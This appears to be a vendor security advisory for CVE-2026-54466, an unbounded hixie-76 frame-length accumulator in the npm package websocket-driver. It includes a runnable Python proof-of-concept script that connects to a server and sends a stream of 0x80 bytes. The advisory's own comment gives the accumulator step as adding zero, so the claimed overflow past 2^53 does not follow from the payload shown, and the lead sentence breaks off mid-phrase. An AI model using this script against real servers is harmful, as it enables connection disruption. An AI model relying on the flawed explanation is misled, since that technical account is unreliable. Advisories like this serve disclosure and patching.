criticalCVE-2026-54466Jul 15, 2026

CVE-2026-54466: websocket-driver Hixie Draft Length Header Integer Corruption

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A server using websocket-driver can be fed an endless stream of high-bit-set bytes that inflate a frame length counter past JavaScript floating-point precision, causing the parser to silently read the

Packagewebsocket-driver
Ecosystemnpm
Affected< 0.7.5
Fixed in0.7.5

The problem

The hixie-75 and hixie-76 (draft) WebSocket frame parsers in websocket-driver accumulate a variable-length integer from incoming bytes as long as each byte has its high bit set. There is no early bound check, so an attacker can keep sending 0x80 bytes indefinitely.

JavaScript numbers are 64-bit IEEE 754 floats. Once the accumulator grows past 2^53, it loses integer precision. The parser then reads the wrong byte count for the payload, silently corrupting all subsequent frames on that connection.

Proof of concept

A working proof-of-concept for CVE-2026-54466 in websocket-driver, with the exact payload below.

bash
# Hixie-76 binary frame: frame-type byte 0x80 triggers length-accumulation mode.
# Every following 0x80 byte has its high bit set, so the loop continues.
# Each iteration: length = length * 128 + 0  (low 7 bits of 0x80 are 0).
# After ~8 iterations length exceeds Number.MAX_SAFE_INTEGER (2^53-1),
# losing precision and making the server parse the wrong payload size.

# Send across a raw TCP/WebSocket connection after the hixie-76 handshake:
python3 -c "
import socket, time

# Replace with your target host/port
HOST, PORT = '127.0.0.1', 8080

# Minimal hixie-76 handshake (adjust Host/Origin as needed)
handshake = (
    b'GET / HTTP/1.1\r\n'
    b'Host: 127.0.0.1:8080\r\n'
    b'Upgrade: WebSocket\r\n'
    b'Connection: Upgrade\r\n'
    b'Origin: http://127.0.0.1\r\n'
    b'Sec-WebSocket-Key1: 4 @1  46546xW%0l 1 5\r\n'
    b'Sec-WebSocket-Key2: 12998 5 Y3 1  .P00\r\n'
    b'\r\n'
    b'xxxxxxxx'  # 8-byte nonce
)

s = socket.create_connection((HOST, PORT))
s.sendall(handshake)
time.sleep(0.5)  # wait for 101 response

# Frame type 0x80: high bit set -> binary frame with length prefix
# Followed by 100+ continuation bytes 0x80 (high bit set = more length bytes follow).
# The last byte must be < 0x80 to terminate; we hold it off indefinitely.
malicious_frame = b'\x80' + b'\x80' * 200  # no terminator: stream stays open
s.sendall(malicious_frame)
time.sleep(2)
s.close()
"

The draft-76 framing spec encodes frame length as a base-128 varint: while each byte has its high bit set, the parser runs `length = length * 128 + (byte & 0x7F)`. The old code had no mid-loop bound check against `maxLength`, so the accumulator could grow without limit.

After roughly 8 iterations of multiplying by 128, the accumulator exceeds Number.MAX_SAFE_INTEGER (2^53 - 1). At that point JavaScript floating-point arithmetic rounds the result, so the stored length no longer reflects the true byte count. The parser then skips the wrong number of bytes and misaligns itself for all future frames on that connection, causing message corruption.

The patch (version 0.7.5) adds a bound check inside the length-accumulation loop: if the growing length value already exceeds the configured `maxLength`, the connection is closed immediately, before precision is lost. CWE-130 (Improper Handling of Length Parameter Inconsistency) applies because the protocol-level length field and the actual safe integer range are inconsistent and the library failed to reconcile them.

The fix

Upgrade websocket-driver (npm) to version 0.7.5 or later. That release closes the hixie-75/76 connection as soon as the accumulating length header exceeds the configured `maxLength` (default: 2^26 - 1 bytes, roughly 64 MiB). No workarounds exist for older versions.

Dependents such as faye-websocket should also be updated to pull in the patched driver.

Reported by Pranjali Thakur, DepthFirst Security Research Team.

References: [1][2][3]

Related research